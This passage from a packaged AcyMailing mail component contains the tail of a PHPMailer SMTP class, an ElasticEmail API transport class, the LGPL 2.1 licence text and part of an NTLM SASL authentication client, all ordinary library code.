            }
            // Now check if reads took too long
            if ($endtime and time() > $endtime) {
                $this->edebug(
                    'SMTP -> get_lines(): timelimit reached ('.
                    $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
        } while(is_resource($this->smtp_conn) && !feof($this->smtp_conn));
        return $data;
    }

    /**
     * Enable or disable VERP address generation.
     * @param boolean $enabled
     */
    public function setVerp($enabled = false)
    {
        $this->do_verp = $enabled;
    }

    /**
     * Get VERP address generation mode.
     * @return boolean
     */
    public function getVerp()
    {
        return $this->do_verp;
    }

    /**
     * Set error messages and codes.
     * @param string $message The error message
     * @param string $detail Further detail on the error
     * @param string $smtp_code An associated SMTP error code
     * @param string $smtp_code_ex Extended SMTP code
     */
    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
    {
        $this->error = array(
            'error' => $message,
            'detail' => $detail,
            'smtp_code' => $smtp_code,
            'smtp_code_ex' => $smtp_code_ex
        );
    }

    /**
     * Set debug output method.
     * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
     */
    public function setDebugOutput($method = 'echo')
    {
        $this->Debugoutput = $method;
    }

    /**
     * Get debug output method.
     * @return string
     */
    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }

    /**
     * Set debug output level.
     * @param integer $level
     */
    public function setDebugLevel($level = 0)
    {
        $this->do_debug = $level;
    }

    /**
     * Get debug output level.
     * @return integer
     */
    public function getDebugLevel()
    {
        return $this->do_debug;
    }

    /**
     * Set SMTP timeout.
     * @param integer $timeout
     */
    public function setTimeout($timeout = 0)
    {
        $this->Timeout = $timeout;
    }

    /**
     * Get SMTP timeout.
     * @return integer
     */
    public function getTimeout()
    {
        return $this->Timeout;
    }
	
	/**
     * Reports an error number and string.
     * @param integer $errno The error number returned by PHP.
     * @param string $errmsg The error message returned by PHP.
     */
    protected function errorHandler($errno, $errmsg)
    {
        $notice = 'Connection: Failed to connect to server.';
        $this->setError(
            $notice,
            $errno,
            $errmsg
        );
        $this->edebug(
            $notice . ' Error number ' . $errno . '. "Error notice: ' . $errmsg,
            self::DEBUG_CONNECTION
        );
    }

	/**
	 * Will return the ID of the last smtp transaction based on a list of patterns provided
	 * in SMTP::$smtp_transaction_id_patterns.
	 * If no reply has been received yet, it will return null.
	 * If no pattern has been matched, it will return false.
	 * @return bool|null|string
	 */
	public function getLastTransactionID()
	{
		$reply = $this->getLastReply();

		if (empty($reply)) {
			return null;
		}

		foreach($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) {
			if(preg_match($smtp_transaction_id_pattern, $reply, $matches)) {
				return $matches[1];
			}
		}

		return false;
    }
}
com_acymailing/inc/phpmailer/class.elasticemail.php000060400000013715152453734450016541 0ustar00<?php

acymailing_cmsLoaded();


/**
 * @copyright	Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..
 * @license		GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
class acymailingElasticemail {
	/**
	 * Ressources : Connection to the elasticemail server
	 */
	var $conn;

	/**
	 * String : Last error...
	 */
	var $error;
	var $Username = '';
	var $Password = '';

	/* Upload Function which uploads the file selected and return a part of the response.
	 * The return value is the file's ID on ElasticEmail server.
	 */
	private function uploadAttachment($filepath, $filename) {
		if (!empty ($this->attachment[$filepath])) return $this->attachment[$filepath];

		$data = file_get_contents($filepath);
		$header = "PUT /attachments/upload?username=".urlencode($this->Username)."&api_key=".urlencode($this->Password)."&file=".urlencode($filename)." HTTP/1.0\r\n";
		$header .= "Host: api.elasticemail.com\r\n";
		$header .= "Connection: Keep-alive\r\n";
		$header .= "Content-Length: ".strlen($data)."\r\n\r\n";
		$info = $header.$data;
		$result = $this->sendinfo($info);
		//We take the last value of the server's response which correspond of the file's ID.
		$explodedResult = explode("\r\n", $result);
		$res = end($explodedResult);
		//If the ID is correct and we have no Errors
		if(preg_match('#[^a-z0-9\-]#i',$res) || strpos($result,'200 OK') === false){
			$this->error = "Error while uploading file : ".$res;
			return false;
		}else{
			$this->attachment[$filepath] = $res;
			return $res;
		}
	}

	/* Function which permit to send an email based on the object's values.
	 * First, we do the test if we have enough credit to send emails.
	 */
	function sendMail(& $object) {
		if(!$this->connect()) return false;

		$data = "username=".urlencode($this->Username);
		$data .= "&api_key=".urlencode($this->Password);
		$data .= "&referral=".urlencode('2f0447bb-173a-459d-ab1a-ab8cbebb9aab');
		if(!empty($object->From)) $data .= "&from=".urlencode($object->From);
		if(!empty($object->FromName)) $data .= "&from_name=".urlencode($object->FromName);

		$to = array_merge($object->to, $object->cc, $object->bcc);
		$data .="&to=";
		foreach($to as $oneRecipient){
			$data .= urlencode($object->addrFormat($oneRecipient).";");
		}
		$data = trim($data,';');

		if(!empty($object->Subject)) $data .= "&subject=".urlencode($object->Subject);

		if(!empty($object->ReplyTo)){
			$replyToTmp = reset($object->ReplyTo);
			$data .="&reply_to=".urlencode($replyToTmp[0]);
			if(!empty($replyToTmp[1])) $data .= "&reply_to_name=".urlencode($replyToTmp[1]);
		}

		if(!empty($object->Sender)) $data .="&sender=".urlencode($object->Sender);


		//Do we have special headers?
		if(!empty($object->CustomHeader)){
			$i = 1;
			foreach($object->CustomHeader as $oneHeader){
				$data .= "&header".$i."=".urlencode($oneHeader[0]).': '.urlencode($oneHeader[1]);
				$i++;
			}
		}

		//We set only quoted printable as others may not work with DKIM
		if($object->Encoding == 'quoted-printable'){
			$data .= "&encodingtype=3";
		}

		if(!empty($object->sendHTML) || !empty($object->AltBody)){
			$data .= "&body_html=".urlencode($object->Body);
			if(!empty($object->AltBody)) $data .= "&body_text=".urlencode($object->AltBody);
		}else{
			$data .= "&body_text=".urlencode($object->Body);
		}

		if($object->attachment) {
			$ArrayID = array ();
			foreach ($object->attachment as $oneAttachment) {
				$oneID = $this->uploadAttachment($oneAttachment[0], $oneAttachment[2]);
				if (!$oneID)
					return false;
				$ArrayID[]=$oneID;
			}
			$data .= "&attachments=".urlencode(implode(";", $ArrayID));
		}

		if(!empty($object->mailid)) $data .= "&channel=".urlencode($object->mailid);
		if(!empty($object->type) && strpos($object->type, 'notification') !== false) $data .= '&isTransactional=1';

		$header = "POST /mailer/send HTTP/1.0\r\n";
		$header .= "Host: api.elasticemail.com\r\n";
		$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$header .= "Connection: Keep-Alive\r\n";
		$header .= "Content-Length: ".strlen($data)."\r\n\r\n";
		$info = $header.$data;
		$result = $this->sendinfo($info);

		//We take the last value of the server's response which correspond of the file's ID.
		$explodedVar = explode("\r\n", $result);
		$res = end($explodedVar);

		//If the ID is correct and we have no Errors
		if(strpos($result,'200 OK') === false || preg_match('#[^a-z0-9\-]#i',$res)){
			$this->error = $res;
			return false;
		} else {
			return true;
		}
	}

	function getCredits($object) {
		$header = "GET /mailer/account-details?username=".urlencode($this->Username)."&api_key=".urlencode($this->Password)." HTTP/1.0\r\n";
		$header .= "Host: api.elasticemail.com\r\n";
		$header .= "Connection: Close\r\n\r\n";
		$result = $this->sendinfo($header);
		if(!$result) return false;

		if(preg_match('#<credit>(.*)</credit>#Ui', $result, $explodedResults)) {
			return $explodedResults[1];
		}else{
			$this->error = $result;
			return false;
		}
	}

	private function connect() {
		if(is_resource($this->conn)) return true;

		$this->conn = fsockopen('ssl://api.elasticemail.com', 443, $errno, $errstr, 20);
		if(!$this->conn){
			$this->error = "Could not open connection ".$errstr;
			return false;
		}
		return true;
	}

	private function sendinfo(&$info){
		//Check if the connection is Ok... and if not we return false.
		if(!$this->connect()) return false;

		$res = '';
		$length = 0;
		ob_start();
		$result = fwrite($this->conn, $info);
		$errorContent = ob_get_clean();
		if($result === false) return $errorContent;

		while(!feof($this->conn)){
			$res .= fread($this->conn, 1024);
			if(substr($res, 0, 4) == "HTTP") {
				$length = 0;
			}
			if($length == 0) {
				$pos = strpos(strtolower($res), 'content-length:');
				if ($pos !== false) {
					$lng = substr($res, $pos +16, 6);
					if (strpos($lng, "\r") !== false) {
						$length = (int) $lng;
						$length += $pos;
					}
				}
			}
			if($length > 0 && strlen($res) >= $length) break;
		}
		return $res;
	}

	function __destruct() {
		if (is_resource($this->conn)) fclose($this->conn);
	}
}com_acymailing/inc/phpmailer/LICENSE000060400000064453152453734450013302 0ustar00		  GNU LESSER GENERAL PUBLIC LICENSE
		       Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

		  GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.
  
  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

			    NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

		     END OF TERMS AND CONDITIONS

           How to Apply These Terms to Your New Libraries

  If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change.  You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).

  To apply these terms, attach the following notices to the library.  It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

    <one line to give the library's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the
  library `Frob' (a library for tweaking knobs) written by James Random Hacker.

  <signature of Ty Coon>, 1 April 1990
  Ty Coon, President of Vice

That's all there is to it!

com_acymailing/inc/phpmailer/extras/ntlm_sasl_client.php000060400000014773152453734450017646 0ustar00<?php
/*
 * ntlm_sasl_client.php
 *
 * @(#) $Id: ntlm_sasl_client.php,v 1.3 2004/11/17 08:00:37 mlemos Exp $
 *
 */

define("SASL_NTLM_STATE_START", 0);
define("SASL_NTLM_STATE_IDENTIFY_DOMAIN", 1);
define("SASL_NTLM_STATE_RESPOND_CHALLENGE", 2);
define("SASL_NTLM_STATE_DONE", 3);
define("SASL_FAIL", -1);
define("SASL_CONTINUE", 1);

class ntlm_sasl_client_class
{
    public $credentials = array();
    public $state = SASL_NTLM_STATE_START;

    public function initialize(&$client)
    {
        if (!function_exists($function = "mcrypt_encrypt")
            || !function_exists($function = "mhash")
        ) {
            $extensions = array(
                "mcrypt_encrypt" => "mcrypt",
                "mhash" => "mhash"
            );
            $client->error = "the extension " . $extensions[$function] .
                " required by the NTLM SASL client class is not available in this PHP configuration";
            return (0);
        }
        return (1);
    }

    public function ASCIIToUnicode($ascii)
    {
        for ($unicode = "", $a = 0; $a < strlen($ascii); $a++) {
            $unicode .= substr($ascii, $a, 1) . chr(0);
        }
        return ($unicode);
    }

    public function typeMsg1($domain, $workstation)
    {
        $domain_length = strlen($domain);
        $workstation_length = strlen($workstation);
        $workstation_offset = 32;
        $domain_offset = $workstation_offset + $workstation_length;
        return (
            "NTLMSSP\0" .
            "\x01\x00\x00\x00" .
            "\x07\x32\x00\x00" .
            pack("v", $domain_length) .
            pack("v", $domain_length) .
            pack("V", $domain_offset) .
            pack("v", $workstation_length) .
            pack("v", $workstation_length) .
            pack("V", $workstation_offset) .
            $workstation .
            $domain
        );
    }

    public function NTLMResponse($challenge, $password)
    {
        $unicode = $this->ASCIIToUnicode($password);
        $md4 = mhash(MHASH_MD4, $unicode);
        $padded = $md4 . str_repeat(chr(0), 21 - strlen($md4));
        $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
        $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
        for ($response = "", $third = 0; $third < 21; $third += 7) {
            for ($packed = "", $p = $third; $p < $third + 7; $p++) {
                $packed .= str_pad(decbin(ord(substr($padded, $p, 1))), 8, "0", STR_PAD_LEFT);
            }
            for ($key = "", $p = 0; $p < strlen($packed); $p += 7) {
                $s = substr($packed, $p, 7);
                $b = $s . ((substr_count($s, "1") % 2) ? "0" : "1");
                $key .= chr(bindec($b));
            }
            $ciphertext = mcrypt_encrypt(MCRYPT_DES, $key, $challenge, MCRYPT_MODE_ECB, $iv);
            $response .= $ciphertext;
        }
        return $response;
    }

    public function typeMsg3($ntlm_response, $user, $domain, $workstation)
    {
        $domain_unicode = $this->ASCIIToUnicode($domain);
        $domain_length = strlen($domain_unicode);
        $domain_offset = 64;
        $user_unicode = $this->ASCIIToUnicode($user);
        $user_length = strlen($user_unicode);
        $user_offset = $domain_offset + $domain_length;
        $workstation_unicode = $this->ASCIIToUnicode($workstation);
        $workstation_length = strlen($workstation_unicode);
        $workstation_offset = $user_offset + $user_length;
        $lm = "";
        $lm_length = strlen($lm);
        $lm_offset = $workstation_offset + $workstation_length;
        $ntlm = $ntlm_response;
        $ntlm_length = strlen($ntlm);
        $ntlm_offset = $lm_offset + $lm_length;
        $session = "";
        $session_length = strlen($session);
        $session_offset = $ntlm_offset + $ntlm_length;
        return (
            "NTLMSSP\0" .
            "\x03\x00\x00\x00" .
            pack("v", $lm_length) .
            pack("v", $lm_length) .
            pack("V", $lm_offset) .
            pack("v", $ntlm_length) .
            pack("v", $ntlm_length) .
            pack("V", $ntlm_offset) .
            pack("v", $domain_length) .
            pack("v", $domain_length) .
            pack("V", $domain_offset) .
            pack("v", $user_length) .
            pack("v", $user_length) .
            pack("V", $user_offset) .
            pack("v", $workstation_length) .
            pack("v", $workstation_length) .
            pack("V", $workstation_offset) .
            pack("v", $session_length) .
            pack("v", $session_length) .
            pack("V", $session_offset) .
            "\x01\x02\x00\x00" .
            $domain_unicode .
            $user_unicode .
            $workstation_unicode .
            $lm .
            $ntlm
        );
    }

    public function start(&$client, &$message, &$interactions)
    {
        if ($this->state != SASL_NTLM_STATE_START) {
            $client->error = "NTLM authentication state is not at the start";
            return (SASL_FAIL);
        }
        $this->credentials = array(
            "user" => "",
            "password" => "",
            "realm" => "",
            "workstation" => ""
        );
        $defaults = array();
        $status = $client->GetCredentials($this->credentials, $defaults, $interactions);
        if ($status == SASL_CONTINUE) {
            $this->state = SASL_NTLM_STATE_IDENTIFY_DOMAIN;
        }
        unset($message);
        return ($status);
    }

    public function step(&$client, $response, &$message, &$interactions)
    {
        switch ($this->state) {
            case SASL_NTLM_STATE_IDENTIFY_DOMAIN:
                $message = $this->TypeMsg1($this->credentials["realm"], $this->credentials["workstation"]);
                $this->state = SASL_NTLM_STATE_RESPOND_CHALLENGE;
                break;
            case SASL_NTLM_STATE_RESPOND_CHALLENGE:
                $ntlm_response = $this->NTLMResponse(substr($response, 24, 8), $this->credentials["password"]);
                $message = $this->TypeMsg3(
                    $ntlm_response,
                    $this->credentials["user"],
                    $this->credentials["realm"],
                    $this->credentials["workstation"]
                );
                $this->state = SASL_NTLM_STATE_DONE;
